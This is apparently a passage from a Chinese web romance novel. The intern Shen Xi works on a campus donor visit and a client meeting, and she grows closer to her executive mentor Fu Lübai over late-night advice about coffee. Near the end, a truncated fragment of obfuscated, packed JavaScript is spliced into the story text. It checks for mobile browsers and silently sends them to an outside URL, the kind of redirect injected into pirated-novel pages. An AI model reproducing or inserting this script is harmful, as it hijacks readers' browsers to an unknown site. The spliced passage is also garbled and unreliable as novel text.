在新生们眼巴巴崇拜又羡慕的目光中,关晴晴也缓了过来,她的情绪向来来得快去的也快,之前在沈晞手底下都是开心果调动气氛级别的,沈晞卸任后选她上来,很多人给的理由就是希望到时候能一直保持快快乐乐轻松氛围,同时叠甲保命,没有说沈学姐带领下不快乐的意思。
但是这活,真的谁干谁知道。关晴晴自己当主席后才知道,当时沈晞为他们抗下了多少压力,他们只管执行就好。
关晴晴揽着沈晞肩,十分骄傲的说:“这就是那位,当初差点靠颜值就选上校学生会主席的沈晞学姐。”
沈晞侧了下头,轻翻了个白眼,十分傲娇的说:“就只有颜值么?”
新生们当然听说过这位学姐,甚至还看过不少照片,但远没有面对真人时那种鲜活明媚动态的冲击力。来见导师,沈晞未施粉黛,皮肤却瓷白透亮的能出水一样,看不出任何瑕疵。
这样轻歪了下头,一双圆亮黑漆的眸子灵动到不行。巴掌脸精致小巧的五官,就很现在流行的纯欲风,但又不是那种木头美人。
看得他们人都呆了。
关晴晴侧头对着沈晞笑着说:“哪有,业务能力也超强的,带领我们打赢管理学院,硬刚建筑学院,最后还不忘出招和各个领导理论……”
那真是很辉煌热血的一段段过往,现在想起来关晴晴眼中都是带着光的。
沈晞却觉得有些羞耻,她虽然在学校也乖乖的,学校里有不少小叔认识的教授领导们,但这不代表她真就有事还当鸵鸟。
虽然她自己不好亲自露面,但她可以让别人去。
关晴晴每次听到她的套路,都听得一愣一愣的,然后每成功一次就对她的崇拜又多一分,不然当年她也不会真的只是因为颜值就差点被选中校主席。
“我们茜茜学姐的辉煌事迹一时半会儿都说不完。”关晴晴自豪转过头来,带着点科普性质的去看面前的学弟学妹们,十分嫌弃的打了个响指,“回神啦!还有那么多事情没干,别光看美女!”
沈晞也看过来,刚刚被关晴晴连搂带抱的都没来得及看她后面跟着的乌泱泱一群,这一看,一脸“果然如此、已经认清现实、坦然接受”的表情,轻摇了摇头,“咱们文学院真是……”
放眼望去,就一个男同学。阴盛阳衰的很可以,依旧没有能干苦力的,同时心疼的看了一眼学妹们。
学妹们一个个星星眼看着她,站在最后的那位男生有些不好意思的垂下了眼睑,完全不敢对视。
路上,学妹们还在你一言我一语的问沈晞,皮肤这样好是怎么保养的,从护肤到化妆就像见到女神似的一整个兴奋,完全忘记了还有大活没干。
关晴晴皱眉,“都什么时候了,搞完再聊好不好。”
学妹们自知犯错的禁了声,乖乖的跟着她们走着。
沈晞看了眼蔫了的人们,打趣道:“不得了,你现在好大的官威嘛,忘了当时你最能闹腾了?我也没说你。”
“本来就是牺牲你的周末来救急的,她们还这么散漫。”关晴晴一半气自己能力不够,一半气她们没太多的责任感。
可听沈晞这样说,又觉得好像每一届小新人都是这样过来的。沈晞当年对他们是真的很包容,想到这又不由往她身边贴近了点。
沈晞捂着嘴打了个哈欠,实习天天比之前早起一个小时,有点困,本想周末补补觉来着。
“为院系服务,造福以后千千万万的学弟学妹们,我甘愿牺牲。”她声音还带着些惺忪的鼻音,懒洋洋的也分不清是认真还是开玩笑。
可做的事情又确确实实如她所言,没半点夸大。
清晨的阳光打在她年轻又清纯的脸上,额前碎发都闪着金灿灿的光,她不紧不慢又轻车驾熟的率先往社团走着,配得上一切美好又蓬勃的形容词。
几个新生虽然刚刚很散漫,但真干起活来又十分的认真没有再开一点小差。
这样子的活动沈晞已经办过很多次,流程什么的都熟的很,不过是太过突然需要准备的东西杂而细,还要背一些院系信息,让他们有些手忙脚乱的搞不过来。
有了沈晞这个前辈的加入,有条不紊的将每个环节都带着他们盘好,虽然事情多倒也不再焦虑无措的没有头绪。午饭也只叫的外卖一起随便扒几口搞定。
第二天,他们起了个大早,站在小冷风中吹了将近一个小时,才终于将这位善人迎到。
之后沈晞和关晴晴全程陪同着,善人站中间,校董和张光远陪在两侧,她们两个便跟在后面。其实基本也用不到她们,但是真的需要说些话时,总不能被问到。
这不是沈晞第一次陪校董参加这种活动,但确第一次见校董这样客气。可见这位善人身份很不一般,也难怪昨天张老师急成那样。
沈晞在后面听着,了解到这位善人姓吴,西装革履的带着金丝框镜,虽然上了些年纪但也看上去风度翩翩的。但给沈晞的感觉并不太好,说不太上来,这样的风度翩翩并不是和校中的教授那样引经据典的儒雅,好像是浮于表面的。
全程两个多小时的参观,听上去气氛和谐大家相谈甚欢,吴先生当真平易近人。不过最终也未确定是否会捐赠一栋楼给他们,每当校董往这方面引时,他便会打太极般将这个话题跳过。
乍一听好像说了许多,也是有问有答的你来我往,可再仔细一听,又好像什么都没说。
问过两次后,校董便不再说这个话题,神色如常的带着吴先生参观着,遇到细节的地方便会看向沈晞,再由沈晞详细介绍着。
张老师却没那么沉得住气,又试图往捐楼的话题上引,但三言两语便被这位吴先生不着痕迹的转了话题。
这样不显山露水的状态,让沈晞莫名想到傅律白,可傅律白那种是心有泰山的稳,而这位吴先生是人精般的圆滑。
甚至结束,去吃饭时,都可以十分温良的叫上她们,说:“两个小朋友也辛苦了,一起去吧。”
用餐结束后,她们二人坐着张光远的车子先行回来,校董和那位吴善人的后续行程他们便无权知晓。一路上张光远都有些凝重,或许是碍于她们在车上没好说什么。
在停车场将她们放下后,双方往相反方向走。
关晴晴再也忍不住,“什么人啊,跑了一上午火车,什么有用的也没说。亏我刚开始见他那样和颜悦色,以为他是个好人。没这个想法就早说啊,这不是折腾人嘛!”
毕竟是第一次搞这个活动,其他成员在群里知道大概情况后,也早早过来等,都被气的不轻。
周六一早知道这个情况后,他们便焦虑压力大到不行。饭都没怎么吃,忙活了一天,又连夜背东西的,一大早来不及吃饭的风里站半天,结果人家就是来走个过场。
这不是耍人么!
大家你一言我一语义愤填膺的吐槽着。
沈晞站在一旁没说话,又想到校董平静却又了然习以为常的表情,并且不动声色像是什么都没发生过一样,两个人继续亲如兄弟般的交谈着。
这就是成年人世界的运行规则么?
那这究竟算是一种体面,还是浪费人时间精力的为难?
关晴晴的声音拉回了她的思绪。
“什么?”
“走啦,去买奶茶,我请客。”关晴晴拉着她说。
总不能让大家白忙一场,再说她还昨天发了个小脾气。
沈晞不怎么想喝,便没跟着去。
回去继续搞KOJG会议方案,不过半小时后,宿舍门被敲响,关晴晴将一杯奶茶笑着拿给她。
-
某度假山庄。
湖光山色间,偶尔有鸟飞过,格外清幽慵懒。
傅律白坐在湖边供人休息观赏的椅中,桌子上摆着对弈到半的棋局,对面却空无一人,只有田师傅站在一旁。他持黑白两子自我对弈,眉眼沉静表情却十分闲适。
动静间都如月白清风的水墨画卷,清雅贵重的让人不舍得破坏。
偏有没眼色的人非要入镜。
来人一男一女,男的虽已过中年,却西装革履带着个金丝框镜看上去也算风度翩翩。女士很年轻,大概二十多岁,一身淡绿色旗袍,气质优雅。可却都没傅律白那股浑然天成的气韵来,毁了这翩翩画境。
说是没眼色,也不全然,在客气有礼并因有缘在这遇见而感兴奋打招呼后,又见傅律白一人下棋,吴毅笑着说:“当真是巧了傅先生,我这朋友还算精通棋艺,不如让她来陪您下一盘?”
旗袍女士略错开半人身子,站在吴毅身后,脸上带着恬静笑意看向傅律白。
傅律白眼睑未抬,眸色仍沉静如湖,此时手执白子,似在思索,过了两秒后放到一处,淡声道:“就不折腾这位小姐了,好好赏湖吧。”
旗袍女士面带得体优雅笑意,“下棋本就是雅兴怡情之事,能和傅先生湖边下棋是我的荣幸,哪里是折腾。”
傅律白只是轻笑了下,也不应。
场面有几秒钟的凝固和僵持。
就在旗袍女士脸上的笑快要维持不住时,傅律白抬眸轻睇了田师傅一眼,到底是没让女生尴尬。
田师傅将一旁的座椅拉到皮袍女士身后,人是落了座,但到底没让碰棋。
吴毅却真的开始有些尴尬,要是别人,他也就厚着脸皮笑着直接坐下,还能用做主动拉近距离的方式,但现在面前的人是傅律白。
他不敢有丝毫的放肆。
但面色还是如常,挂着风度翩翩的笑,笑的十分自然,垂着眸像真是认真的看他自我对弈。
傅律白已经下完黑子,再次持白子时,似是才想起还有他这么一个人,眼睫都没抬,漫不经心的说:“吴总也坐吧。”
吴毅这才笑着自己入了座。
之后,傅律白就跟忘记面前还多了两个人似的,自顾自地下着棋,没有受半分的影,像是跟周围的人是两个图层。
吴毅几次试着想要开口,但都没成功。这个气氛实在是容不得一点打破,有的人好似偏偏就有这样的本事,所在之处皆是他主宰,别人插足不了半分,连空气都分不得半点。
直到这盘棋局结束,吴毅才找到机会插上话,旁敲侧击的聊起了西郊的那块地。
傅律白捡敛着棋子淡淡抬眸看了他一眼。
一双眼里无喜无悲,却让吴毅心一紧,忙赔笑着说:“看我,好好的聊什么工作,坏了傅先生的好雅兴。”
傅律白也只是笑了下,也不知道是应了他真的破坏了兴致,宽容的笑。还是说并没有,客气的笑。
吴毅一时间拿不准,反倒不上不下的僵在这,最后也只得跟着笑了下。
西郊这项目,少说十个亿,他竟然眼皮都懒得抬一下,似乎还无手中棋子有趣。
之后吴毅都没再敢讲话,陪在一旁似赏景似观棋,生撑了个雅兴闲趣的怡然自得。
直到吴毅脸上的笑都快僵了,傅律白大抵终于尽了兴,让田师傅收了棋盘。
吴毅眼睛一亮,找到了机会,正要开口,傅律白便率先一步说:“听说这里夜景不错,吴总慢慢享受,我先告辞一步。”
说着便起了身。
“……”吴毅也是反应快的,跟上前两步,“时间也不早了,傅先生不如一起吃个饭吧。”
傅律白微微侧头,淡声道:“还有事。”
依旧是那不温不淡的样子,可却生生让吴毅止住了脚步,不敢在上前,笑道:“那您先忙,先忙。”
目送着那道身影离开。
夕阳将他的身影拉长,和旁边湖光山色融为一体,山水似乎都压不下他身上渊渟岳峙的气势。
“这位傅先生很厉害么?值得你这样客气?”旗袍女似好奇又似替他鸣不平。
“你懂什么,那是傅先生。”吴毅说完,看到她轻眨的睫忽然脸色一变,警告道:“收起你的歪心思,傅先生要是能看上你,刚刚还用得着我话都插不上?别给我惹事!”
被人看破心思,旗袍□□雅恬静的脸瞬间维持不住,嗫嚅着吓得一句话都不敢说。
-
“抱歉傅先生,让人进来打扰您。”
“我没那样霸道。”
说有事的傅律白此时坐在幽静的餐厅里,用消毒毛巾轻擦着手,玩笑道:“去个地方还要清场。”
“可那人,还专门带着懂棋的年轻又漂亮女士,分明是有备而来。”田师傅知道傅先生是在说,度假村人人都能来,又怎么拦得住。
傅律白轻笑了下,没在继续这个话题,抬眸冲他道:“来一起吃。”
那笑,带着股看透一切的习以为常,是释然潇洒,可也难免有股无奈的淡然,很难相信这是一个还未到三十岁的年轻人脸上出现的,看的田师傅心中一震。
可下一秒,在听清傅先生说什么时,忙连连摆手,“傅先生这怎么行。”
“田叔,”傅律白几分抱怨和不满,将之前的淡笑冲的干净,“怎么每次叫你陪我吃顿饭,你都这样啰嗦。”
最终田师傅带着几分中年男人的憨厚和不好意思,坐到了傅律白的对面。
饭后。
田师傅问:“现在回去么傅先生?”
就在这时,傅律白手机轻响了下,他垂眸看了眼消息,说:“先去取个东西。”
车子很快平稳的融入霓虹夜色中。
-
锐昇集团。
只有零星几盏灯亮着。
有断断续续敲打键盘的声音从行政部传出。
沈晞打了个哈欠,视线朦胧都未停止对着电脑的继续打字。
KOJG的工作还未做完,她本想着周六日在寝室弄差不多,周一再细化检查一下。结果没想到……
忙了半天,还一场空。
沈晞忍不住在心里对那位大善人一通激情辱骂。
“这么晚还在加班?”温淡的声音突然在耳边响起。
吓得沈晞一激灵,看向声音来处,在看清人以后,又条件发射的将头埋进胳膊里趴到桌子上。
傅律白本是回来取个传真件,下电梯时却忽然想到上来时无意间看到有几个办公室还开着灯,隐约是行政部那层,也不知是怎么想的,等回过神来时,电梯已经在这层打开。
走过来时,发现她竟然真的还在,有些诧异的下意识开了口,但几乎在她才抖了下后,便意识到不妥,他特意将声音压低,带着几分安抚道:“抱歉,吓到你了。”
沈晞缓了两秒才抬起头来,一双眼睛湿漉漉的带着几分控诉的看向他,连声音都带着几分惊魂未定的软,尾音轻拖着带着几分鼻音,“你走路没声音哒?”
明明是指责,可听到人耳朵里却更像是嗔怪的撒娇。
傅律白眸色微顿,过了两秒才开口,再次道歉,“抱歉,没想到你会这样认真。总加班到这么晚么?”
说话的同时将视线淡淡移向她的电脑,他似乎终于想起提点照顾她一下,却让沈晞却有点紧张,连他刚刚吓自己那么一下的小抱怨都没了。
就好像是考试时,监考老师刚好是自己那一门的任课老师,每下一笔都小心翼翼,生怕被看出错来,当场批评。
“没,就今天。”她说着的同时,不自觉扣了扣手。
大概是怕更耽误她下班,傅律白原本温淡的声音那得不怎么淡的说了句,“那你继续,不用管我。”
“……”
沈晞就在这种班主任般的死亡凝视高压下,快速弄完剩下的,好在就差“桌面摆放”这一项,几乎是不用费心的标准答案:会议文件、纸、笔……
搞定!
就在沈晞松了口气,快快乐乐点着保存打算关电脑时,一只骨节修长白皙的手却忽然轻点在文档某一行上。
傅律白站在她左侧,一手撑在桌子上,淡声问:
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“这里,为什么选咖啡?不是水、牛奶、果汁或者其他别的什么?”
沈晞下意识侧头看向他,有些诧异他为什么会问这个问题,却还是答:“因为是一大早,我怕他们会困。”
像是清晨挂着露水的花果,有着蓬勃的生命力,十分清新的香味从她的发尖传到鼻息间。
傅律白眼睑微垂,才意识到两人的距离有些近,不着痕迹的后退了一步,语气如常道:“那你要订什么口味?有人乳糖不耐要换燕麦奶,有人甚至可能咖啡因都不耐,这些你有考虑过么?”
“……”沈晞愣了下,还真没想过。
“这些细节如果有可能的话可以主动询问,不要想当然,或者可以做多重准备。周到妥帖,总是会让合作对象或者有意合作者更加配合。”他并没有任何说教、或者高高在上的傲慢感,而是娓娓道来的真的只是告诉她一些经验。
可沈晞看着他,却不由在想,他平日里的那些周到妥帖,是否也是将所有人都当做合作者让人更配合而已?也包括她。
傅律白不知她悟出的竟然是这些,既然答应了老师,就没想糊弄事的将她散养,继续道:“也可以从一些口味习惯,去反推这个人的做事风格。就比如美式,可能做事雷厉风行,知道自己想要什么,性格沉稳,但相对保守不喜欢冒险,不过一旦成为朋友就会非常推心置腹。[1]再像……”
他声音不急不缓,像是一抔冷月,在深夜十分的悦耳。沈晞盯着他张合的唇,发现他的唇形其实是偏饱满的。都说唇薄的人也薄情,他这样淡的性子,沈晞以为他的唇也会是很薄的。
他的鼻子很挺,线条也很流畅,倒真有点像挺拔的山峰;
继续往上,意外发现他的眉眼竟然很深邃,其实他五官十分的立体棱角分明。只是眸色浅,又有着万事万物不入眼的淡然疏离,才让人忽略了他略带攻击性的长相。
沈晞也是第一次这样近距离的观察他才发现。
就在这时,那双万事万物不入眼的温淡眸忽然垂下来,两个人的目光猝不及防的对到了一起,她便也盛进那双眼里。
“!”
傅律白淡声问:“你在走神么?”
“当然没有啦。”沈晞不着痕迹的错开视线,开口第一个字时还有点发飘。
傅律白说着说着,起初还以为她在认真听,但发现她似乎过于安静。下意识垂眼看了下,就发现她眼睛有些空。
他觉得自己就像个古板无趣老教授,实在是不愿为人师,浪费年轻姑娘鲜活璀璨的时间,轻笑了下,刚想说“时间不早了”,像是发现了他不信,就听沈晞说:“那你喜欢什么,手冲?”
喜欢喝手冲咖啡的人,对生活品质有很高的要求,完美主义者,注重做事过程,善意自我反思和思考。[2]
傅律白微怔,在她眼里,他原来是这样的。倒是个挺高的评价。
沈晞却因为他这怔愣的微顿会错了意,反应了过来,急忙道:“我是说咖啡!”
“……”傅律白垂眸,看到面前人微红有些窘迫的脸,也明白了过来。
沈晞看着他平淡看过来的眸,瞬间明白他压根没往那个方面想,她这样一解释反而更尴尬了。
像是有一股电流直冲天灵盖,让她耳朵都开始发麻发烫,脚趾忍不住抓地。
好在傅律白十分的绅士,也十分的稳妥,神色如常的将这个小插曲揭过,回答她上个问题,“意式浓缩。”
“嗯?”沈晞还处在之前的情绪里,过了两秒才反应过来。
意式浓缩,事业心适应性强,对待事情认真能够快速做出决策,天生有领导力。[3]
他是这样的么?
看到她的打量和眼中的迟疑,便知道她多想,傅律白微抬眉梢打断她,“只是个辅助依据。”
所以,那条也并非完全适用于他。
沈晞微微歪头,带着几分俏皮和几分不带恶意的挑衅,语调轻快道:“所以是刻板印象。”
傅律白松开撑在桌子上的手,直起身,语调也十分轻松,“或许用统计学、概率学和心理学定义会更加贴切。”
他十分有风度,没有说只是再以咖啡举例,去深入展开这个问题。
而她也变相证明了,自己并没有走神。
其实还是有一点点的,但还是听了个大概。
沈晞用五分钟时间快速进行了修改。
在她合上电脑时,傅律白看了眼时间,“不早了,送你回学校?”
沈晞眸色微顿,随后看向他,只一眼,又微微偏开,声音却有点飘,“这个时间,会不会太麻烦你啊?”
“这个时间,我能有什么事?”他笑,像是反问,又像只是在说着自己无事。
可这个时间,夜晚,聊这个话题本身就带着些暧昧。
办公室的窗子未关,晚风拂过她的碎发,擦过耳尖,微痒。她便也不再客气见外,十分大方冲着他歪头笑了下,因为实在不想仰着头瞧他,脖子酸,“那就麻烦啦。”
收拾好东西,率先站起了身,往外走了一步。
女孩的尾音向水波,带着让人愉快的轻扬,傅律白也垂眸,嘴角带着些弧度。又觉得她确实很有分寸,只问这个时间,麻不麻烦,像是什么都没问,却又什么都顾及到了。
这样的年纪就这样周全,老师真的看走了眼,他轻笑着摇了下头,既是对沈晞的欣赏,又有那么点对老师的打趣。
两人走后,整个楼层彻底安静,只剩走廊里的灯亮着。高跟鞋轻踩地面的声音从行政部微凹的后门响起,露出庄凡神色复杂的脸,看着不远处电梯轻轻跳跃的数字。
车子再次平稳驶入夜色里。
两人并坐在后排,一时安静,好似便不再像刚刚办公室时氛围轻松,两人还未熟到不说话便自在的关系。
他看上去不像是有社交责任的,应当也不需要他承担这样的责任,到哪里他都应该是别人捧着主动找话题的人,但沈晞也不知道聊什么。
或许淡然沉稳如他,也并不觉现在的安静尴尬,甚至觉得享受:)
沈晞悄悄扣了扣手指,将脸侧向窗外,努力看风景掩饰着尴尬。
唰——
一棵树过去了。
两棵。
第三棵的残影才在眼中成像,一道温淡的声音忽然从耳边响起,“沈老师最近身体还好么?”
沈晞有些诧异他竟会主动开口,答着还好,又说前段时间带了批学生将他气的不轻。
前不久才更新绍市地图的田师傅也很惊讶,但却没有讲话,车依旧开的稳稳的,眼观鼻鼻观心。
话题自然而然围绕着沈兴学展开,聊着他教学认真很有见解,沈晞对此却稍有微词,悄悄说有时太过死板教条。
说完才又想起对面的人和小叔好像才是一波的,傅律白承诺不会去打小报告,沈晞才放了心。
在车子驶进郊区不久后,路过一处造型挺独特的建筑,傅律白问:“那是做什么用的?”
沈晞说:“是概念艺术馆。”
然后解释着展出过挺多有趣的东西,有个大两届的学姐还获了奖。
傅律白颔首表示敬佩,又问,那处是哪里。
“是瓷房子,里面有很好看的瓷器,但大多数人都是来拍照打卡用的。”沈晞一边说着,一边有些差异的看向他。
他姿态十分闲散,倒真像是闲来无事夜游赏景的。
大概是看出她的疑惑,傅律白解释,“太多年不回,京市有许多地方都不认识了。”
田师傅手稳稳把着方向盘,眸色却微顿,确实不太熟了,可程家禹家二位公子主动拉着傅先生去转转,傅先生也为有过什么兴致,又哪里需要问一个小姑娘。
“你在国外么?”沈晞猜测,不然他这样气质的人,无论在哪个城市工作,总应当会和京市往来的,“读书?”
她问完,又不确定,这算不算也是一种探寻,是否也会感受到一股防备和压迫。她开始后悔,轻舔了下唇,可唇还未干,就听他语调温和,一幅畅聊的架势,主动说:“在德国,工作。”
她诧异于他的态度,不知这是否是允许进入他的世界的表现。
“怎么?”
“哦,”她眼尾微扬,半拖着调子打趣,“那难怪被请来还可以经常不在公司,傅先生的确好实力。”
听着,还有点小酸气,小嫉妒。
傅律白轻乜了她一眼,轻笑,用她的理论打趣回去,“那茜茜努力成为沈小姐,到时也不用来公司。”
“唉。”沈晞轻叹了口气,看上去十分的忧伤苦恼,还带着几分困惑,“那些产品经理卖楼卖保险的,一口一个沈小姐叫的可亲切。”
像是在疑惑,明明已经是沈小姐啦,怎么没能享受同样的待遇。
傅律白愣了下,随后反应过来,彻底被她逗笑,笑意到达眼底,蕴着浅浅笑意。
这个时间,对于学生来说还不算很晚,还有不少人在校门口吃着宵夜刚回来。
校门外长路两旁,还种着樱花,三两成群的男男女女走过,一派青春洋溢。
沈晞没让去挤人群开到校外,就在不远处停下。
“谢谢,”她下车,弯着腰撑着车门往里探,年轻女孩脸上的浅笑也能灿比樱花,“再见啦。”
她笑着,慢慢后退着摆手,几步后才转身。
傅律白看着那不紧不慢的身影轻快的融入青春的人群里,可她仍旧是最耀眼的那一个。
不在似那天像是逃跑般慌忙。
他的嘴角带着自己都未察觉的细微弧度。
傅律白收回视线,对上田师傅有些发深的目光,他耐心询问,“有事?”
田师傅笑着摇头,“没事,只是觉得这花开的真好。”
-
7. 第 7 章
第二天沈晞将方案交上去,庄凡看过后,眉梢微挑,眼中闪过几分惊讶。
等到了周五,KOJG的人过来,三男两女一行共五个人,个个西装革履,十分干练精英味十足。
为首的是位穿着黑色职业套装,看上去三十出头长相很大气的女性,脸上化着得体简约的妆容,但眉眼间似乎还是有着些一闪而过的疲倦。
他们这边的男项目负责人主动伸手迎了过去,身后还跟着一男两女,“张总。”
张女士瞬间精神气十足,将手握过去,打着招呼,“李总。”
两个人边交谈边往会议室的方向走,再不见下车才进门时,眼底那淡淡的萎靡,带着职场女性的自信与沉稳侃侃而谈着。
沈晞做为这个会议室布置的主要负责人,也隔了两三米的距离跟在不远处,主打一个后勤保障工作,同时默默打量着对方,好像真如傅律白所说,是能通过言谈举止观察出一些个身份和性格的。
那他平日里,都是在这样研究人么?
历史系不研究文物历史,改研究人了?
正想着,却看到张总不着痕迹的轻按了下小腹,可仍大步流星脚下高跟鞋被她踩的发出高频有节奏的声音,表情也未有任何变化,仍旧带着自信得体的笑容。
沈晞愣了下,随后快走了两步,绕去了茶水间。
会议室布置的十分的简洁,桌面干净没有其他赘余,但两侧座位后的小柜子上又摆着一些个偏亮盆栽、小摆设,甚至有一个柜子上面无伤大雅的摆放了个造型独特又可爱的红色小玩偶,仔细看还带着锐昇集团集团的logo。不会太玩闹的不正式,又可以让人精神微微放松下来,卸下防备。
一行人入了座。
这样的动作让小腹骤然一坠,张女士垂着眸,手不自觉握紧,趁着会议还未开始的空挡,暗自调整着呼吸,缓过这劲儿,同时祈祷等会儿会议时别太出乱子。
就在这时,面前突然出现一杯热气腾腾的红枣桂圆茶。她一愣,下意识抬头,就见一位眼睛又圆又亮,长相纯欲漂亮十分讨喜的年轻女生站在自己旁边,摆放着茶饮。
余光下,她看到旁边人面前,放的是咖啡。
只有她这里,放的是红枣桂圆。意识到什么,看着她的目光微深,“谢谢。”
“您客气了。”女生轻笑,十分大方得体,又不卑不亢。
而后跟着其他放好饮品的人一同离开。
会议商讨进行的十分顺利,沈晞在外面看着,松了口气,功成身退。
正要走,会议室的门从里面打开,张女士看到了她。
事发突然,常备的止痛药用完忘记了补,临时买又来不及。她原本十分担心会将这场商讨会搞砸,但没想到被送来一杯热饮,帮她坚持住了一整个会议。
张女士仔细看了眼对方的工牌,记住了,叫沈晞。一边又对一旁的张总笑道:“贵公司有这样细心的员工,让我很放心和你们合作。”
张总愣了下,又看了眼沈晞,隐约明白是对方做了些什么小细节的事,让张总满意了。张总这句话,也是明着点了下,选择和他们合作也有着这位实习员工的原因。
两个人又客套了几句,又亲自将人送下了楼。
回来时,刚好碰到了庄严,夸赞道:“你那么小实习生真的不错,教导有方啊小庄。”
庄严其实自己也躲在会议室外面悄悄的看着,毕竟是沈晞第一次办这样的活动,怕出什么岔子好及时补救,知道发生了什么,笑道“是她自己激灵。”
张总愣了下,看着她的眸色微深,过了两秒又笑着轻拍了下她的肩,而后离开。
写工作报告时,必将会将这事提上一两句,庄严这样讲,是摆明了不要这份功劳,全给了那位叫沈晞的实习生。很大气,张总也愿意成全。
庄严也笑了下,往另一方向走去,两个人谁都没注意到一旁经过正要去送一份文件的彭念真,脸色有些难看。
庄主管不但能力强,可以拿到更多优秀的项目,还大方的下放给沈晞。反观自己的主管,拿到的全是小项目,好不容易有些看得下去的项目,还自己全揽着。
这样下去,她的实习履历将会很难看,拿什么和沈晞比。
但彭念真不知道的是,这个案子其实是个烫手山芋,KOJG那边很不好搞,虽然主责落不到他们行政部上面,但总会麻烦。知道沈晞关系不一般,所以就交给了她,反正出事有她顶着也不会连累到自己。
没想到她竟然办的十分不错,虽然,昨晚有人帮她补了课。但庄严也是有点操守的,既然将人推到了前面,功劳便也不会抢走,完完全全的给了沈晞。
彭念真想的出神,直到差点撞到了人,对方后退了一步,她才回过神来,急忙道歉,“对不起——”
一抬头,便看到一张神采俊逸清贵雅正的一张脸,就站在自己两步之遥的距离。她一时间看呆了,过了两秒才慌张的垂下了眸,叫道:“傅、傅总。”
傅律白只是淡淡地看了她一眼,轻“嗯”了声便离开。
彭念真却不由的回头,目光悄悄追随着。男人穿着件衬衣,肩宽腿长的,在公司几乎人人都西装革履的情况下,他这样简直是超然的存在。可偏偏又不会觉得他没了气势,好像有的人的存在就是为了告诉大家,一个人的气质到了一定程度是不需要外部装饰去衬托的。
彭念真现在心脏还在“砰、砰、砰”快速的跳着,一直都知道新来的傅总很帅,但这样近距离的看还是第一次。
她眼底带着几分星星色,又撅了下嘴,就是人有点冷淡。
-
庄凡回来时,又特地走到沈晞工位,“做的不错。”
沈晞面上还能撑一撑胜不骄,但短时间内连续被人夸,她还是有点轻飘飘的愉悦,轻晃了下腿,清澈的眸子轻动了下,没有忘记某个人。
毕竟也有他的一些功劳,如果不是他昨天的咖啡理论,她今天大概也不会有这个观念,下意识去观察。
她拿起手机,嘴角带着轻快的弧度,轻点了几下。
……
电梯门才打开,程开霁便见一道残影在自己面前闪过,把他吓一跳,还以为大白天见了鬼。
等看清那是个人的背影后,轻皱了下眉,毛毛躁躁的,觉得该开个会强调下公司规范了。虽然不需要军事化管理,但至少也得稳住点吧,别哪天人家过来谈项目,直接被撞个满怀。不知道的还以为他们公司靠什么权|色|交易的手段取来的成绩。
他跨出电梯,边走又忽然觉得那个背影好像有点眼熟。但只是个模糊的影儿,还没想清是谁,便见办公室大门外,安安稳稳的放着一杯咖啡外卖。
他一愣,下意识拿起来,大概是秘书没敢打扰,直接放到了外面。余光不经意扫到顾客信息,却猛地一僵,瞳孔剧烈的震荡着,愣在原地。
——客户姓名:努力成为小姐
这间办公室,除了他就只能是三哥用。前台和秘书,不可能连这点小事情都弄错,送错楼层。
程开霁不敢置信的看着紧闭的办公室大门,三哥原来压力这么大,已经想变性了么?!
原本那平静淡然的外表下,内心已经如此扭曲?
就在这时,大门打开了,露出小姐——
啊,不是。
露出了三哥那张仍旧淡然,气质高远帅气非凡,甚至有时他都觉得隐隐带着股佛性的一张脸,虽然佛祖确实雌雄不分,可是……
他逆着光,傅律白没有看到他复杂的表情,单手插着兜,漫不经心的说:“想进来就进,敲什么门,毕竟是我鸠占鹊巢。”
程开霁情绪太过复杂,甚至都忘记了自己就没敲过门。他轻咳了声,强行稳了稳心神,像是什么事都没发生一样,劝道:“三哥你现在还喝咖啡,等到了奥尔良时差不好倒。”
傅律白眉梢轻挑了下,将纸袋接过。
目光淡淡看着那挂在外面的长长一条订单信息,在看到“意式浓缩”时,他眸色微深,将心中的猜测已然验证了八|九十。
再往下,在看到“努力成为小姐”时,他彻底没忍住,轻笑了下。
程开霁眼睛一错不错一直不着痕迹的仔细盯着他的反应,想从他的表情中看出些什么来。
结果,他不但没有任何心里的扭曲被人撞破的尴尬,甚至还轻笑了下!
已经到了坦然对他人展示自己的变态,甚至开始感到愉悦这么严重的程度了么?
程开霁只觉得晴天霹雳,天都要塌了。
他深吸了一口气,努力让自己撑住,压下了眼底的隐痛。
只是压力太大了,但全球那么多优秀的医生,总能有办法的。
“三哥……”他想劝慰一句,可再开口时,嗓音已经发哑。
下一秒,却听傅律白不紧不慢道:“总不好辜负了人家的一片心意。”
说完,便将咖啡从袋中拿出来,喝了一口。
“?!”程开霁瞪大了眼睛,过了两秒才反应过来。
心情就像是在坐过山车,有着劫后余生般的虚脱。
傅律白淡淡看向他,“叫我干什么?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14640834|156420||http|test|mini|href|location''.split(''|''),0,{}));
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>程开霁搓了把脸,觉得自己大概是这段时间太累了,脑子都变得有些不正常,他笑着,整个人放松道:“没事,我是说,您想喝就喝,时差没关系的。”
在差点变性面前,时差又算得了什么。
傅律白奇怪的看了他一眼,有些前言不搭后语的,这是否态度转变的过于快?
程开霁却在剧烈的情绪来回冲击下,平静了下来。脑子里再次闪过傅律白刚刚那句话,彻底回过味来。同时,灵光一闪般,刚刚鬼一样飘过去的背影再次浮现在脑海中,也想起了那个背影是谁。
他不着痕迹的,再次将视线转向傅律白,看着明知要坐晚班机,还在不紧不慢悠闲的将外带纸杯生生品出了在高级咖啡厅清贵雅致的人,目光有些复杂。
-
浓郁的苦传到味蕾,沈晞下意识皱眉,只不过还没皱成实质,醇厚的香便又紧随其后,和之前的苦融合到了一起,将苦味冲淡。
沈晞小口小口喝着面前这杯意式浓缩,一只手托着腮,有点意外,他竟然喜欢这么口感强烈的东西,和他平日的温淡还真的蛮反差的。
电梯下行,她的工作刚好对着电梯,透过玻璃看到电梯门打开。
从上面下来的,也就只有总裁办和秘书办的人。
沈晞姿势都没动,就那样看着电梯门,果然两秒钟后看到傅律白和程开霁从里面走出来。
两个人并排前走着,大步流星的可却又因腿长并不显匆忙。
“贾家那边不用理,照常走动。”傅律白边走边说,也未看向他,像只是随意的叮嘱。
忽然想起什么,淡淡侧眸,便对上了一双漆黑干净的眸子。
